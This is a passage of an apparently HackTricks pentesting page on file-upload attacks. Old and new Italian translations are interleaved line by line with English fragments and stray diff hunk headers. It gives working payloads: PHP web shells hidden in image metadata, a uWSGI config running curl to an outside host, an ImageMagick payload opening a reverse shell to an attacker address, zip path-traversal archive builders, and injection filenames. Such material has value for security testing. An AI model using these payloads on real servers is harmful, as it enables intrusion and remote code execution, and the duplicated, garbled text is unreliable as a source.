# Crea il payload
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
### Bypass di Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
- Bypass dei controlli sul **Content-Type** impostando il **valore** dell'header **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_
1. Wordlist per Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (confondi il comando _file_). Oppure inserisci la shell nei **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
`\` oppure potresti anche **inserire il payload direttamente** in un'immagine:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Se **compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Se viene applicata una **compressione** all'immagine, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk **PLTE** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk **IDAT** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, usando la funzione PHP-GD `thumbnailImage`. In alternativa, puoi usare il chunk **tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Altri trucchi da controllare
- Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione).
- Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione).
- Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
- **Possibile divulgazione di informazioni**:
- **Possibili Information disclosure**:
1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
3. Caricamento di un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows)
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
6. Carica un file in **Windows** usando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
3. Caricare un file con nome **"." , ".." o "…”**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati in "/www/uploads/" il filename "." creerà un file chiamato "uploads" in "/www/".
4. Carica un file che potrebbe non essere facilmente eliminabile come **"…:.jpg”** in **NTFS**. (Windows)
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows)
6. Carica un file in **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** se accidentalmente aperto dalla vittima.
### Special extension tricks
### Trucchi speciali con le estensioni
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se stai cercando di caricare file su un **PHP server**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se stai cercando di caricare file su un **ASP server**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...)
L'estensione `.inc` è a volte usata per file php che sono solo usati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **questa estensione di essere eseguita**.
L'estensione `.inc` è a volte usata per file php che vengono soltanto **inclusi**, quindi, in alcuni casi, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**.
## **Jetty RCE**
Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuovi \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come menzionato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Affinché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco di Denial of Service) oppure il file deve essere impostato per il caricamento automatico. La funzione di caricamento automatico, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati quando vengono rilevate modifiche.
È fondamentale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente l'ambito di potenziale sfruttamento.
È cruciale comprendere la natura permissiva del parsing del file di configurazione di uWSGI. Nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della possibile exploitation.
## **wget File Upload/SSRF Trick**
In alcune occasioni potresti scoprire che un server sta utilizzando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere eluso.**\
La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **eluderà** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
In alcune occasioni potresti trovare che un server stia usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere bypassato.**\
La **lunghezza massima** di un **filename** in **linux** è **255**, tuttavia **wget** tronca i nomi di file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo filename **bypasserà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,31 +157,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far **reindirizzare il server HTTP a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
## Strumenti
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è un tool potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
## Da upload di file ad altre vulnerabilità
### Corruzione degli indici di upload con le stranezze di snprintf (storico)
Alcuni handler di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload attentamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come un upload multi-file e prendendo branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e in codebase più vecchie.
## From File upload to other vulnerabilities
- Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal**
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti essere in grado di ottenere una **SQL injection**
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere un XSS
- Imposta **filename** su `; sleep 10;` per testare alcune iniezioni di comandi (altri [trucchi di iniezione di comandi qui](../command-injection.md))
- [**XSS** nel caricamento di file immagine (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**exploitation di Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in upload svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** tramite upload di file svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti ottenere una **SQL injection**
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una XSS
- Imposta **filename** su `; sleep 10;` per testare qualche command injection (altre [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se puoi **indicare al server web di catturare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
- [**XXE e CORS** bypass con upload PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- PDF appositamente creati per XSS: La [seguente pagina presenta come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare alcuni PDF che eseguiranno JS arbitrario seguendo le indicazioni date.
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per controllare se il server ha qualche **antivirus**
- Controlla se c'è qualche **limite di dimensione** caricando file
- Se puoi indicare al web server di recuperare un'immagine da un URL potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDF appositamente creati per XSS: la pagina seguente mostra come **inject PDF data to obtain JS execution** (se puoi uploadare PDF potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite) — [../xss-cross-site-scripting/pdf-injection.md](../xss-cross-site-scripting/pdf-injection.md)
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content per verificare se il server ha un **antivirus**
- Verifica se esiste un **size limit** nel caricamento dei file
Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Ecco una top 10 delle cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -193,7 +198,8 @@ Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitt
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Estensione Burp
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
@ -204,34 +210,34 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri filetypes.
## Upload di file Zip/Tar automaticamente decompressi
## Zip/Tar File Automatically decompressed Upload
Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
Se puoi uploadare uno ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
### Symlink
Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi accederai ai file collegati:
Carica un archivio contenente soft link verso altri file; poi, accedendo ai file decompressi accederai ai file linkati:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decompress in different folders
### Decomprimere in cartelle diverse
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante l'ipotesi iniziale che questa configurazione potesse impedire OS-level command execution tramite upload di file malevoli, il supporto alla compressione gerarchica e le capacità di directory traversal del ZIP archive format possono essere sfruttati. Questo permette agli attaccanti di bypassare le restrizioni ed evadere le directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere usata come mostrato:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento.
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
Di seguito un esempio di codice Python utilizzato per creare un zip file malevolo:
```python
#!/usr/bin/python
import zipfile
@ -249,11 +255,11 @@ zip.close()
create_zip()
```
**Abusare della compressione per il file spraying**
**Abuso della compressione per file spraying**
Per ulteriori dettagli **controlla il post originale in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creazione di una Shell PHP**: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile `$_REQUEST`.
1. **Creazione di una PHP Shell**: Il codice PHP viene scritto per eseguire comandi passati tramite la variabile `$_REQUEST`.
```php
<?php
@ -263,14 +269,14 @@ system($cmd);
}?>
```
2. **File Spraying e Creazione di File Compressi**: Vengono creati più file e viene assemblato un archivio zip contenente questi file.
2. **File Spraying and Compressed File Creation**: Vengono creati più file e viene assemblato un archivio zip contenente questi file.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modifica con un Hex Editor o vi**: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.
3. **Modifica con un hex editor o vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.
```bash
:set modifiable
@ -280,40 +286,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell' [exploit](https://www.exploit-db.com/exploits/39767))
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dall'[exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incorporare PHP Shell in PNG
## Embedding PHP Shell on PNG
Incorporare un PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità del PHP shell incorporato di rimanere inalterato da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate per ridimensionare e ricampionare le immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
Un'esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione approfondita del processo e delle sue implicazioni.
Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Ulteriori informazioni in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## File Poliglotti
## Polyglot Files
I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa combinazione; sono anche fattibili combinazioni come GIF e JS o PPT e JS.
I Polyglot files fungono da strumento unico nella sicurezza informatica, agendo come camaleonti che possono validamente esistere in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa coppia; combinazioni come GIF e JS o PPT e JS sono anch'esse possibili.
L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
L'utilità principale dei polyglot files risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Nella pratica comune di molte applicazioni si permette solo l'upload di certi tipi di file—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente dannosi (es. JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può furtivamente aggirare queste restrizioni.
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
Nonostante la loro adattabilità, i polyglot incontrano limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni del sistema. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente a garantirne l'upload.
Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Ulteriori informazioni in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Caricare JSON validi come se fosse PDF
### Upload valid JSONs like if it was PDF
Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche se non consentito, simulando un file PDF (tecniche da **[questo post del blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, falsificando un file PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Finché i byte magici `%PDF` sono nei primi 1024 byte, è valido (prendere esempio dal post)
- **`pdflib` library**: Aggiungere un formato PDF falso all'interno di un campo del JSON in modo che la libreria pensi che sia un pdf (prendere esempio dal post)
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di quello in modo che non possa analizzare il contenuto come un json e poi all'interno del JSON mettere la parte iniziale di un vero PDF e penserà che sia un PDF
- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è valido (vedi esempio nel post)
- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON in modo che la library lo interpreti come un PDF (vedi esempio nel post)
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale soglia in modo che non riesca a parseare il contenuto come JSON e poi, all'interno del JSON, inserisci la parte iniziale di un vero PDF e lo considererà un PDF
## Riferimenti
## References
